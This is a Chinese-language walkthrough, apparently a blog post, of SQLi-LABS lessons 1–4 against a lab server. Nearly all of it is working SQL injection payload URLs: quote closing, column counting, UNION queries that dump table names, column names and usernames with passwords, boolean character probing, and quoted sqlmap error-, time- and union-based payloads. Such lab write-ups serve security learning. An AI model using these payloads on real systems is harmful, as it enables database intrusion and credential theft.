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  • SQLi-LABS Page-1(Basic Challenges) Less1-Less4

    Less-1

    GET - Error based - Single quotes - Stri

    http://10.10.202.112/sqli/Less-1?id=1

    http://10.10.202.112/sqli/Less-1?id=1'

    尝试闭合

    http://10.10.202.112/sqli/Less-1?id=1'  -- - #true

    猜列:

    http://10.10.202.112/sqli/Less-1?id=1'  order by 1 -- -

     结果应该为3列

    使用union 让对应字段报错

    http://10.10.202.112/sqli/Less-1?id=-1'  union select 1,2,3 -- -

     猜测当前数据库和用户信息

    http://10.10.202.112/sqli/Less-1?id=-1'  union select 1,user(),database() -- -

    获取表名

    http://10.10.202.112/sqli/Less-1?id=-1'  union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3 -- -

    获取users表的列名

    http://10.10.202.112/sqli/Less-1?id=-1'  union select 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),3 -- -

    http://10.10.202.112/sqli/Less-1?id=-1'  union select 1,(SELECT+GROUP_CONCAT(username,0x7e,0x7e,password+SEPARATOR+0x3c62723e)+FROM+users),3 -- -

    Less-2

    GET - Error based - Intiger based

    http://10.10.202.112/sqli/Less-2?id=1 and 1=1 --+ #true

    http://10.10.202.112/sqli/Less-2?id=1 and 1=2 --+ #false

    判断列

    判断列,让 相关字段报错

    http://10.10.202.112/sqli/Less-2?id=-1 union select 1,2,3 --+

    http://10.10.202.112/sqli/Less-2?id=-1 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3 --+

     http://10.10.202.112/sqli/Less-2?id=-1 union select 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),3 --+

    http://10.10.202.112/sqli/Less-2?id=-1 union select 1,(SELECT+GROUP_CONCAT(username,0x7e,password+SEPARATOR+0x3c62723e)+FROM+users),3 --+

    Less-3

    GET - Error based - Single quotes with twist-string

    http://10.10.202.112/sqli/Less-3?id=11'

    报错:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''11'') LIMIT 0,1' at line 1

    猜测SQL语句为:

    select login_name,password  from table_name where id=('$id') limit 0,1

    因此可以构造:

    payload:

    id=11') and ('1'='1 #true

    id=11') and ('1'='2 #false

    测试user()第一个字符

    http://10.10.202.112/sqli/Less-3/?id=1') and (substr(user(),1,1)='r

     猜测第二个字符

    /sqli/Less-3/?id=1%27)%20and%20(substr(user(),2,1)=%27§r§

    第三个字符

    /sqli/Less-3/?id=1%27)%20and%20(substr(user(),3,1)=%27§r§

    第四个字符

    当前用户就是:root@localhost这样的形式了。。。。

    我们看下SQLmap的payload吧:

    Payload: id=1') AND 8778=8778 AND ('etFR'='etFR

    Payload: id=1') AND (SELECT 9245 FROM(SELECT COUNT(*),CONCAT(0x717a786b71,(SELECT (ELT(9245=9245,1))),0x716b6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('jCkf'='jCkf

    Payload: id=1') AND SLEEP(5) AND ('lSFh'='lSFh

    Payload: id=-7784') UNION ALL SELECT NULL,NULL,CONCAT(0x717a786b71,0x7465746257557866704c4b65466f626a53664d6742436b6a46755861674348715a7057474a574b5a,0x716b6b7a71)-- Dtnb

    Less-4

    GET - Error based - Double Quotes - Stri ...

    http://10.10.202.112/sqli/Less-4?id=1"

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

    猜测SQL语句: 

    select login_name,password  from table_name where id=("$id") limit 0,1

    http://10.10.202.112/sqli/Less-4?id=1")  --+ #true

    http://10.10.202.112/sqli/Less-4?id=1")  and ("s"="s #true

    http://10.10.202.112/sqli/Less-4?id=1")  and ("s"="z #false

    猜列:

    http://10.10.202.112/sqli/Less-4?id=1") order by 3 --+

    http://10.10.202.112/sqli/Less-4?id=-1") +UNION+ALL+SELECT+1,2,3--+

    http://10.10.202.112/sqli/Less-4?id=-1") +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3--+

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  • 原文地址:https://www.cnblogs.com/hack404/p/11025044.html
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